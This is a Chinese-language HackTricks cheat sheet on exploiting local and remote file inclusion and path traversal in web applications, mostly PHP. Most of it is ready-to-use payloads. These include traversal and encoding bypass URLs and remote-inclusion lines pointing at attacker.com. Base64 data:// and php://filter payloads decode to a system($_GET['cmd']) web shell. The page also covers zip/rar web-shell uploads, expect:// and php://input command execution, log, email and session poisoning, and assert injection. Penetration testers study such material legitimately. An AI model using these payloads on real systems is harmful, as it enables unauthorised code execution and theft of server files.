> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/file-inclusion.md).

# File Inclusion/Path traversal

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/KRzboz7CsxUiMkcB5sXP" alt=""><figcaption></figcaption></figure>

加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界

**最新公告**\
随时了解最新的赏金计划发布和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！

## 文件包含

**远程文件包含（RFI）：** 从远程服务器加载文件（最佳：您可以编写代码，服务器将执行它）。在php中，默认情况下**禁用**此功能（**allow\_url\_include**）。\
**本地文件包含（LFI）：** 服务器加载本地文件。

当用户以某种方式控制即将由服务器加载的文件时，就会出现漏洞。

**PHP函数**中的漏洞：require、require\_once、include、include\_once

一个有趣的工具来利用这个漏洞：<https://github.com/kurobeats/fimap>

## 盲目 - 有趣 - LFI2RCE文件

```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```

### **Linux**

**混合了几个 \*nix LFI 列表并添加了更多路径，我创建了这个列表:**

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt>" %}

也尝试将 `/` 更改为 `\`\
也尝试添加 `../../../../../`

可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)找到一个使用多种技术查找文件 /etc/password（以检查漏洞是否存在）的列表。

### **Windows**

合并了不同的单词列表:

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt>" %}

也尝试将 `/` 更改为 `\`\
也尝试删除 `C:/` 并添加 `../../../../../`

可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)找到一个使用多种技术查找文件 /boot.ini（以检查漏洞是否存在）的列表。

### **OS X**

查看 Linux 的 LFI 列表。

## 基本 LFI 和绕过

所有示例都是关于本地文件包含，但也可以应用于远程文件包含（页面=\[<http://myserver.com/phpshellcode.txt\\\\]\\(http://myserver.com/phpshellcode.txt)/）。>

```
http://example.com/index.php?page=../../../etc/passwd
```

### 非递归剥离的遍历序列

```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```

### **空字节 (%00)**

绕过在提供的字符串末尾附加更多字符（绕过：$\_GET\['param']."php"）

```
http://example.com/index.php?page=../../../etc/passwd%00
```

这个问题**自 PHP 5.4 起已解决**

### **编码**

您可以使用非标准编码，如双重 URL 编码（等等）：

```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

### 从现有文件夹中

也许后端正在检查文件夹路径：

```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```

### 探索服务器上的文件系统目录

可以通过使用特定技术递归地探索服务器的文件系统，以识别目录而不仅仅是文件。该过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目的的详细方法：

1. **确定目录深度：** 通过成功获取 `/etc/passwd` 文件（如果服务器基于Linux）来确定当前目录的深度。例如，URL可能结构如下，表示深度为三：

```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```

2. **探测文件夹：** 将疑似文件夹的名称（例如，`private`）附加到URL，然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一级：

```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```

3. **解释结果：** 服务器的响应指示文件夹是否存在：

* **错误 / 无输出：** 文件夹 `private` 可能不存在于指定位置。
* **`/etc/passwd` 的内容：** 确认存在 `private` 文件夹。

4. **递归探索：** 可以进一步使用相同技术或传统的本地文件包含（LFI）方法来探查已发现的文件夹是否有子目录或文件。

要在文件系统中不同位置探索目录，请相应调整有效载荷。例如，要检查 `/var/www/` 是否包含 `private` 目录（假设当前目录深度为 3），请使用：

```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```

### **路径截断技术**

路径截断是一种用于操纵Web应用程序中文件路径的方法。通常用于访问受限文件，绕过某些在文件路径末尾附加额外字符的安全措施。其目标是构建一个文件路径，一旦被安全措施修改，仍然指向所需文件。

在PHP中，由于文件系统的特性，文件路径的各种表示可以被视为等效。例如：

* `/etc/passwd`、`/etc//passwd`、`/etc/./passwd` 和 `/etc/passwd/` 都被视为相同路径。
* 当最后6个字符是 `passwd` 时，附加 `/`（变成 `passwd/`）不会改变目标文件。
* 同样，如果在文件路径末尾添加 `.php`（如 `shellcode.php`），添加 `/.` 不会改变所访问的文件。

提供的示例演示了如何利用路径截断来访问 `/etc/passwd`，这是一个常见目标，因为其中包含敏感内容（用户帐户信息）。

```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```

```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```

在这些情况下，可能需要大约2027个遍历，但这个数字可能会根据服务器的配置而变化。

* **使用点段和额外字符**：遍历序列(`../`)与额外的点段和字符结合使用，可以用于导航文件系统，有效地忽略服务器附加的字符串。
* **确定所需的遍历次数**：通过试错，可以找到导航到根目录然后到`/etc/passwd`所需的精确数量的`../`序列，确保任何附加的字符串（如`.php`）被中和，但所需路径(`/etc/passwd`)保持完整。
* **从一个虚假目录开始**：常见做法是以一个不存在的目录（如`a/`）开始路径。这种技术被用作一种预防措施或满足服务器路径解析逻辑的要求。

在使用路径截断技术时，了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法，通常需要测试以找到最有效的方法。

**此漏洞已在PHP 5.3中得到修复。**

### **绕过过滤器的技巧**

```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```

## 远程文件包含

在php中，默认情况下禁用了这个功能，因为\*\*`allow_url_include`**是**Off\*\*。必须将其设置为**On**才能正常工作，在这种情况下，您可以从您的服务器包含一个PHP文件并获得RCE：

```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

如果由于某种原因\*\*`allow_url_include`**被设置为**On\*\*，但PHP正在**过滤**对外部网页的访问，[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)，你可以使用数据协议与base64来解码一个b64 PHP代码并获得RCE：

```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```

{% hint style="info" %}
在上面的代码中，最后添加了 `+.txt`，因为攻击者需要一个以 `.txt` 结尾的字符串，所以字符串以它结尾，在经过 b64 解码后，该部分将只返回垃圾数据，而真正的 PHP 代码将被包含（因此，被执行）。
{% endhint %}

另一个示例**不使用 `php://` 协议**的例子是：

```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```

## Python 根元素

在 Python 中，像下面这样的代码：

```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```

如果用户传递了**绝对路径**到\*\*`file_name`**，则**之前的路径将被移除\*\*：

```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```

根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)的意图行为如下：

> 如果一个组件是绝对路径，则所有先前的组件都将被丢弃，并继续从绝对路径组件进行连接。

## Java列出目录

看起来，如果在Java中存在路径遍历，并且您**请求一个目录**而不是一个文件，则会返回**目录的列表**。这在其他语言中不会发生（据我所知）。

## 前25个参数

以下是可能容易受到本地文件包含（LFI）漏洞影响的前25个参数列表（来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)）:

```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```

## 使用 PHP 包装器和协议的 LFI / RFI

### php\://filter

PHP 过滤器允许在读取或写入数据之前执行基本的**修改操作**。有 5 类过滤器：

* [字符串过滤器](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: 从数据中删除标签（位于 "<" 和 ">" 字符之间的所有内容）
* 请注意，此过滤器已经从现代版本的 PHP 中消失
* [转换过滤器](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*`：转换为不同的编码（`convert.iconv.<input_enc>.<output_enc>`）。要获取支持的**所有编码列表**，请在控制台中运行：`iconv -l`

{% hint style="warning" %}
滥用 `convert.iconv.*` 转换过滤器，您可以**生成任意文本**，这可能对编写任意文本或执行包含过程中的任意文本很有用。有关更多信息，请查看 [**通过 php 过滤器进行 LFI2RCE**](/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md)。
{% endhint %}

* [压缩过滤器](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: 压缩内容（如果需要外泄大量信息，则很有用）
* `zlib.inflate`: 解压数据
* [加密过滤器](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*`：已弃用
* `mdecrypt.*`：已弃用
* 其他过滤器
* 在 php 中运行 `var_dump(stream_get_filters());`，您可以找到一些**意外的过滤器**：
* `consumed`
* `dechunk`：反转 HTTP 分块编码
* `convert.*`

```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```

{% hint style="warning" %}
部分 "php\://filter" 是不区分大小写的
{% endhint %}

### 使用php过滤器作为预言者读取任意文件

[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)提出了一种技术，可以在没有从服务器返回输出的情况下读取本地文件。这种技术基于**使用php过滤器作为预言者逐个字符地提取文件**。这是因为php过滤器可以用来使文本变得足够大，以使php抛出异常。

在原始文章中，您可以找到该技术的详细解释，但这里是一个快速摘要：

* 使用编解码器\*\*`UCS-4LE`\*\*将文本的前导字符留在开头，并使字符串的大小呈指数增长。
* 这将用于生成一个**当正确猜测初始字母时非常大的文本**，以便php触发一个**错误**
* **dechunk**过滤器将**删除所有内容，如果第一个字符不是十六进制**，因此我们可以知道第一个字符是否是十六进制。
* 这与先前的过滤器结合使用（以及根据猜测的字母使用其他过滤器），将允许我们通过查看我们进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制，dechunk不会删除它，初始炸弹将使php出错。
* 编解码器**convert.iconv.UNICODE.CP930**将每个字母转换为下一个字母（因此在此编解码器之后：a -> b）。这使我们可以发现第一个字母是否是`a`，例如，因为如果我们应用6次这个编解码器 a->b->c->d->e->f->g，那么这个字母不再是十六进制字符，因此dechunk不会删除它，php错误会被触发，因为它与初始炸弹相乘。
* 使用其他转换，如**rot13**在开头，可以泄漏其他字符，如n、o、p、q、r（还可以使用其他编解码器将其他字母移动到十六进制范围内）。
* 当初始字符是数字时，需要对其进行base64编码并泄漏前两个字母以泄漏该数字。
* 最终的问题是看如何泄漏**比初始字母更多的内容**。通过使用顺序记忆过滤器，如**convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**，可以改变字符的顺序，并在文本的第一个位置获取其他字母。
* 为了能够获取**更多数据**的想法是在开头**生成2字节的无用数据**，使用**convert.iconv.UTF16.UTF16**，应用**UCS-4LE**使其**与接下来的2字节对齐**，并**删除数据直到无用数据**（这将删除初始文本的前2字节）。继续这样做，直到达到要泄漏的位。

在文章中还泄漏了一个自动执行此操作的工具：[php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。

### php\://fd

此包装器允许访问进程打开的文件描述符。可能有助于泄漏已打开文件的内容：

```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```

你也可以使用 **php\://stdin, php\://stdout 和 php\://stderr** 来分别访问 **文件描述符 0, 1 和 2**（不确定这在攻击中如何有用）

### zip\:// 和 rar://

上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。\
为了能够滥用 rar 协议，**需要专门激活**。

```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```

### data://

data://伪协议是一种用于在网页中嵌入数据的方法。这种方法可以用于利用文件包含漏洞，将恶意数据注入到网页中。

```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

请注意，此协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 限制

### expect://

Expect 必须被激活。您可以使用此方法执行代码：

```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

### 输入://

在POST参数中指定您的有效载荷：

```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```

### phar://

当一个网络应用程序利用`include`等函数进行文件加载时，可以利用`.phar`文件来执行PHP代码。下面提供的PHP代码片段演示了如何创建一个`.phar`文件：

```php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```

要编译`.phar`文件，请执行以下命令：

```bash
php --define phar.readonly=0 create_path.php
```

在执行时，将创建一个名为 `test.phar` 的文件，可能会被利用来利用本地文件包含（LFI）漏洞。

在仅执行文件读取而不执行其中的 PHP 代码的 LFI 情况下，可以尝试利用反序列化漏洞。该漏洞与使用 `phar` 协议读取文件相关联。

有关在 `.phar` 文件上利用反序列化漏洞的详细理解，请参考下面链接的文档：

[Phar 反序列化利用指南](/pentesting-web/file-inclusion/phar-deserialization.md)

{% content-ref url="/pages/pFtSk8BifJ3qO6awESmk" %}
[phar:// deserialization](/pentesting-web/file-inclusion/phar-deserialization.md)
{% endcontent-ref %}

### 更多协议

检查更多可能的[**在此包含的协议**](https://www.php.net/manual/en/wrappers.php)**:**

* [php://memory 和 php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 写入内存或临时文件（不确定这在文件包含攻击中如何有用）
* [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
* [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找与模式匹配的路径名（它不返回任何可打印的内容，因此在这里并不真正有用）
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 安全外壳 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流（不适用于读取任意文件）

## 通过 PHP 的 'assert' 进行 LFI

在处理 'assert' 函数时，PHP 中的本地文件包含（LFI）风险特别高，因为它可以执行字符串中的代码。如果输入包含类似 ".." 的目录遍历字符但未经适当消毒，则这一点尤为棘手。

例如，PHP 代码可能被设计为防止目录遍历，如下所示：

```bash
assert("strpos('$file', '..') === false") or die("");
```

虽然这旨在阻止遍历，但无意中为代码注入创造了一个向量。要利用此漏洞读取文件内容，攻击者可以使用：

```plaintext
' and die(highlight_file('/etc/passwd')) or '
```

同样地，要执行任意系统命令，可以使用：

```plaintext
' and die(system("id")) or '
```

很重要**对这些载荷进行URL编码**。

<figure><img src="/files/KRzboz7CsxUiMkcB5sXP" alt=""><figcaption></figcaption></figure>

加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界

**最新公告**\
随时了解最新的赏金任务发布和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作！

## PHP盲目路径遍历

{% hint style="warning" %}
在您**控制**将**访问文件**的**PHP函数**的**文件路径**但不会看到文件内容（如简单调用\*\*`file()`\*\*）但内容不显示的情况下，此技术是相关的。
{% endhint %}

在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中，解释了如何通过PHP过滤器滥用盲目路径遍历以通过错误神谕**泄露文件内容**。

简而言之，该技术使用\*\*“UCS-4LE”编码**使文件内容变得如此**庞大\*\*，以至于**打开文件**的PHP函数将触发一个**错误**。

然后，为了泄露第一个字符，使用\*\*`dechunk`**过滤器以及其他过滤器，如**base64**或**rot13\*\*，最后使用**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**过滤器将**其他字符放在开头并泄露它们**。

**可能受到影响的函数**：`file_get_contents`、`readfile`、`finfo->file`、`getimagesize`、`md5_file`、`sha1_file`、`hash_file`、`file`、`parse_ini_file`、`copy`、`file_put_contents（仅目标只读）`、`stream_get_contents`、`fgets`、`fread`、`fgetc`、`fgetcsv`、`fpassthru`、`fputs`

有关技术细节，请查看上述文章！

## LFI2RCE

### 远程文件包含

如前所述，请[**点击此链接**](#remote-file-inclusion)。

### 通过Apache/Nginx日志文件

如果Apache或Nginx服务器**容易受到LFI**在包含函数内部，您可以尝试访问\*\*`/var/log/apache2/access.log`或`/var/log/nginx/access.log`**，在**用户代理**或**GET参数**中设置一个像**`<?php system($_GET['c']); ?>`\*\*的php shell并包含该文件

{% hint style="warning" %}
请注意，**如果您使用双引号**而不是**单引号**来定义shell，双引号将被修改为字符串“***quote;***”，**PHP会在那里抛出错误**，**不会执行其他任何操作**。

此外，请确保**正确编写载荷**，否则PHP每次尝试加载日志文件时都会出错，您将没有第二次机会。
{% endhint %}

这也可以在其他日志中完成，但**要小心**，日志中的代码可能已进行URL编码，这可能会破坏Shell。标头\*\*授权“basic”\*\*包含Base64中的“user:password”，并在日志中解码。PHPShell可以插入此标头内。\
其他可能的日志路径：

```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```

### 通过电子邮件

**发送一封邮件**到内部账户（user\@localhost），包含您的 PHP payload，例如 `<?php echo system($_REQUEST["cmd"]); ?>`，并尝试通过路径如 **`/var/mail/<USERNAME>`** 或 **`/var/spool/mail/<USERNAME>`** 包含到用户的邮件中

### 通过 /proc/\*/fd/\*

1. 上传大量的 shells（例如：100）
2. 包含 <http://example.com/index.php?page=/proc/$PID/fd/$FD>，其中 $PID = 进程的 PID（可以暴力破解），$FD 是文件描述符（也可以暴力破解）

### 通过 /proc/self/environ

像日志文件一样，在 User-Agent 中发送 payload，它将反映在 /proc/self/environ 文件中

```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

### 通过上传

如果您可以上传文件，只需在其中注入shell payload（例如：`<?php system($_GET['c']); ?>`）。

```
http://example.com/index.php?page=path/to/uploaded/file.png
```

为了保持文件的可读性，最好是注入到图片/文档/PDF的元数据中

### 通过Zip文件上传

上传一个包含压缩的PHP shell的ZIP文件并访问：

```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```

### 通过 PHP 会话

检查网站是否使用 PHP 会话（PHPSESSID）

```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

在PHP中，这些会话被存储在`/var/lib/php5/sess\[PHPSESSID]`文件中

```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

将cookie设置为`<?php system('cat /etc/passwd');?>`

```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

使用本地文件包含（LFI）漏洞来包含PHP会话文件

```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```

### 通过ssh

如果ssh处于活动状态，请检查正在使用哪个用户（/proc/self/status 和 /etc/passwd），并尝试访问 **\<HOME>/.ssh/id\_rsa**

### 通过 vsftpd 日志

FTP 服务器 vsftpd 的日志位于 **/var/log/vsftpd.log**。在存在本地文件包含（LFI）漏洞且可以访问到暴露的 vsftpd 服务器的情况下，可以考虑以下步骤：

1. 在登录过程中的用户名字段中注入 PHP 载荷。
2. 注入后，利用 LFI 从 **/var/log/vsftpd.log** 检索服务器日志。

### 通过 php base64 过滤器（使用 base64）

如[此](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)文章所示，PHP base64 过滤器会忽略非 base64 编码。您可以利用这一点绕过文件扩展名检查：如果提供以 ".php" 结尾的 base64，它会忽略 "." 并将 "php" 附加到 base64。以下是一个示例载荷：

```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

### 通过php过滤器（无需文件）

这篇[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)解释了您可以使用**php过滤器生成任意内容**作为输出。这基本上意味着您可以**生成任意的php代码**以供包含，**而无需将其写入**文件中。

{% content-ref url="/pages/azLO7cmzoW6OPd79dgyT" %}
[LFI2RCE via PHP Filters](/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md)
{% endcontent-ref %}

### 通过分段错误

**上传**一个将被存储为**临时文件**在`/tmp`中，然后在**同一请求中**触发一个**分段错误**，然后**临时文件不会被删除**，您可以搜索它。

{% content-ref url="/pages/RhsFvFR1NmvBcLnvvvzw" %}
[LFI2RCE via Segmentation Fault](/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}

### 通过Nginx临时文件存储

如果您发现了**本地文件包含**，并且**Nginx**在PHP前面运行，您可能能够使用以下技术获得RCE：

{% content-ref url="/pages/AJUm4boE9z8YyR8aP8Ml" %}
[LFI2RCE via Nginx temp files](/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}

### 通过PHP\_SESSION\_UPLOAD\_PROGRESS

如果您发现了**本地文件包含**，即使您**没有会话**，并且`session.auto_start`是`Off`。如果您在**多部分POST**数据中提供\*\*`PHP_SESSION_UPLOAD_PROGRESS`**，PHP将**为您启用会话\*\*。您可以滥用此功能来获得RCE：

{% content-ref url="/pages/5WNeczmkPtOFhU4PKXfa" %}
[LFI2RCE via PHP\_SESSION\_UPLOAD\_PROGRESS](/pentesting-web/file-inclusion/via-php_session_upload_progress.md)
{% endcontent-ref %}

### 通过Windows中的临时文件上传

如果您发现了**本地文件包含**，并且服务器在**Windows**上运行，您可能会获得RCE：

{% content-ref url="/pages/ss6kG4jSNnDtyKBpIDJa" %}
[LFI2RCE Via temp file uploads](/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}

### 通过phpinfo()（file\_uploads = on）

如果您发现了**本地文件包含**，并且一个文件暴露了**phpinfo()**，其中file\_uploads = on，您可以获得RCE：

{% content-ref url="/pages/KFJCklhgtYDiHrJHTJsK" %}
[LFI2RCE via phpinfo()](/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md)
{% endcontent-ref %}

### 通过compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露

如果您发现了**本地文件包含**，并且您**可以泄露临时文件的路径**，但是**服务器**正在**检查**要包含的文件是否具有PHP标记，您可以尝试使用此**竞争条件**来**绕过该检查**：

{% content-ref url="/pages/jzWCxkLeyAcsB1AevNIf" %}
[LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure](/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
{% endcontent-ref %}

### 通过永久等待 + 暴力破解

如果您可以滥用LFI来**上传临时文件**并使服务器**挂起**PHP执行，然后您可以**在数小时内暴力破解文件名**以找到临时文件：

{% content-ref url="/pages/JmVm0JxAGxav4CHc0EDu" %}
[LFI2RCE via Eternal waiting](/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}

### 致命错误

如果您包含任何文件`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。（您需要两次包含相同的文件才能引发该错误）。

**我不知道这有什么用，但可能有用。**\
\&#xNAN;*即使引发PHP致命错误，PHP上传的临时文件也会被删除。*

<figure><img src="/files/mpS63Ab6svjbB2aNJaAp" alt=""><figcaption></figcaption></figure>

## 参考资料

* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

{% file src="/files/NsxtSyCDK4XmT0ZLhBnz" %}

<figure><img src="/files/KRzboz7CsxUiMkcB5sXP" alt=""><figcaption></figcaption></figure>

加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解保持与快节奏的黑客世界同步
